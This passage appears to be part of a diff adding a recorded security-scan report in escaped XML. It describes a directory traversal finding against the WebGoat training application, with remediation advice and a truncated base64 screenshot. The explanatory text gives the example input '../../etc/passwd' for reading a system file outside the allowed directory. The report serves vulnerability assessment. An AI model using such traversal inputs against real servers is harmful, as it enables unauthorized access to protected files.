+        14:59:14 UTC\" next_scan_due=\"2013-03-01 14:59:14 UTC\">\n<cia_adjustment>0</cia_adjustment>\n<modules>\n<module
+        name=\"manual_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"81\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"2\"
+        numflawssev4=\"0\" numflawssev5=\"3\"/>\n</modules>\n</manual-analysis>\n<severity
+        level=\"5\">\n<category categoryid=\"1\" categoryname=\"Directory Traversal\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"Allowing user input to control
+        paths used in filesystem operations may enable an attacker to access or modify
+        otherwise protected system resources that would normally be inaccessible to
+        end users.  In some cases, the user-provided input may be passed directly
+        to the filesystem operation, or it may be concatenated to one or more fixed
+        strings to construct a fully-qualified path.\"/>\n<para text=\"When an application
+        improperly cleanses special character sequences in user-supplied filenames,
+        a path traversal (or directory traversal) vulnerability may occur.  For example,
+        an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"22\" cwename=\"Improper Limitation
+        of a Pathname to a Restricted Directory ('Path Traversal')\" pcirelated=\"false\"
+        owasp=\"932\" sans=\"865\" certc=\"743\" certcpp=\"877\">\n<description>\n<text
+        text=\"The software, when constructing file or directory names from input,
+        does not properly sanitize special character sequences that resolve to a file
+        or directory name that is outside of the intended directory or directories.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Limitation of a Pathname to a Restricted
+        Directory ('Path Traversal')\" count=\"1\" issueid=\"272\" module=\"manual_analysis\"
+        type=\"\" description=\"The software, when constructing file or directory
+        names from input, does not properly sanitize special character sequences that
+        resolve to a file or directory name that is outside of the intended directory
+        or directories.\" note=\"\" cweid=\"22\" remediationeffort=\"2\" exploitLevel=\"2\"
+        categoryid=\"1\" pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33
+        UTC\" remediation_status=\"New\" cia_impact=\"ppn\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\"
+        cvss=\"9\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"File\">\n<exploit_desc>An
+        attacker can use this to retrieve the contents of arbitrary files on the server.
+        This leads to a full compromise of the application running within the context
+        of the server.</exploit_desc>\n<severity_desc>An attacker can retrieve server
+        state information that allows a compromise of the security boundaries of the
+        application.</severity_desc>\n<remediation_desc>When the set of acceptable
+        objects, such as filenames or URLs, is limited or known, create a mapping
+        from a set of fixed input values (such as numeric IDs) to the actual filenames
+        or URLs, and reject all other inputs.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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